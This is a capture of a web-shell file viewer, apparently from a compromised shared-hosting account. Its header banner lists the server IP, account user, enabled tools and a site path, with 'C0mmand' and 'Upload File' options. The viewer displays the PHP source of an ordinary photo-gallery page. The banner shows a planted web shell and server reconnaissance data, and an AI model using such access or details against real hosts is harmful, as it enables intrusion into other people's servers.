|
Server IP : 86.38.243.193 / Your IP : 216.73.217.143 Web Server : LiteSpeed System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u493057690 ( 493057690) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u493057690/domains/iasfindia.com/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once 'admin/connect.php';
include('header.php');
?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.13/css/all.css">
<!------ Include the above in your HEAD tag ---------->
<style>
.btn:focus, .btn:active, button:focus, button:active {
outline: none !important;
box-shadow: none !important;
}
#image-gallery .modal-footer{
display: block;
}
.thumb{
margin-top: 15px;
margin-bottom: 15px;
}
</style>
<!--Breadcrumb-->
<section class="bannerimg cover-image bg-background3" data-image-src="assets/images/banners/slide-banner.jpg">
<div class="header-text mb-0">
<div class="container">
<div class="row text-white">
<div class="col"><h1 class="">Portfolio</h1></div>
<div class="col col-auto">
<ol class="breadcrumb text-center">
<li class="breadcrumb-item"><a href="index.php">Home</a></li>
<li class="breadcrumb-item active text-white" aria-current="page">Photo Gallery</li>
</ol>
</div>
</div>
</div>
</div>
</section>
<!--/Breadcrumb-->
<!--Add listing-->
<!--Section-->
<section class="sptb">
<div class="container">
<div class="row">
<div class="container">
<div class="row">
<div class="row">
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/gal1.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/gal1.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/gal2.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/gal2.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/gal3.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/gal3.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/gal4.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/gal4.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/gal5.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/gal5.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/gal6.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/gal6.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/gal7.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/gal7.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/gal8.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/gal8.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g1.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g1.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g2.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g2.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g3.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g3.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g4.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g4.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g5.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g5.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g6.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g6.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g7.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g7.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g8.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g8.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g9.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g9.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g10.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g10.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g11.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g11.jpg"
alt="Another alt text">
</a>
</div>
<div class="col-lg-3 col-md-4 col-xs-6 thumb">
<a class="thumbnail" href="#" data-image-id="" data-toggle="modal" data-title="IASF INDIA"
data-image="assets/images/gallery/g12.jpg"
data-target="#image-gallery">
<img class="img-thumbnail"
src="assets/images/gallery/g12.jpg"
alt="Another alt text">
</a>
</div>
</div>
<div class="modal fade" id="image-gallery" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title" id="image-gallery-title"></h4>
<button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span>
</button>
</div>
<div class="modal-body">
<img id="image-gallery-image" class="img-responsive col-md-12" src="">
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary float-left" id="show-previous-image"><i class="fa fa-arrow-left"></i>
</button>
<button type="button" id="show-next-image" class="btn btn-secondary float-right"><i class="fa fa-arrow-right"></i>
</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!--Section-->
<!--/Add listing-->
<!-- Modal Popup -->
<script>
let modalId = $('#image-gallery');
$(document)
.ready(function () {
loadGallery(true, 'a.thumbnail');
//This function disables buttons when needed
function disableButtons(counter_max, counter_current) {
$('#show-previous-image, #show-next-image')
.show();
if (counter_max === counter_current) {
$('#show-next-image')
.hide();
} else if (counter_current === 1) {
$('#show-previous-image')
.hide();
}
}
/**
*
* @param setIDs Sets IDs when DOM is loaded. If using a PHP counter, set to false.
* @param setClickAttr Sets the attribute for the click handler.
*/
function loadGallery(setIDs, setClickAttr) {
let current_image,
selector,
counter = 0;
$('#show-next-image, #show-previous-image')
.click(function () {
if ($(this)
.attr('id') === 'show-previous-image') {
current_image--;
} else {
current_image++;
}
selector = $('[data-image-id="' + current_image + '"]');
updateGallery(selector);
});
function updateGallery(selector) {
let $sel = selector;
current_image = $sel.data('image-id');
$('#image-gallery-title')
.text($sel.data('title'));
$('#image-gallery-image')
.attr('src', $sel.data('image'));
disableButtons(counter, $sel.data('image-id'));
}
if (setIDs == true) {
$('[data-image-id]')
.each(function () {
counter++;
$(this)
.attr('data-image-id', counter);
});
}
$(setClickAttr)
.on('click', function () {
updateGallery($(this));
});
}
});
// build key actions
$(document)
.keydown(function (e) {
switch (e.which) {
case 37: // left
if ((modalId.data('bs.modal') || {})._isShown && $('#show-previous-image').is(":visible")) {
$('#show-previous-image')
.click();
}
break;
case 39: // right
if ((modalId.data('bs.modal') || {})._isShown && $('#show-next-image').is(":visible")) {
$('#show-next-image')
.click();
}
break;
default:
return; // exit this handler for other keys
}
e.preventDefault(); // prevent the default action (scroll / move caret)
});
</script>
<?php
include('footer.php');
?>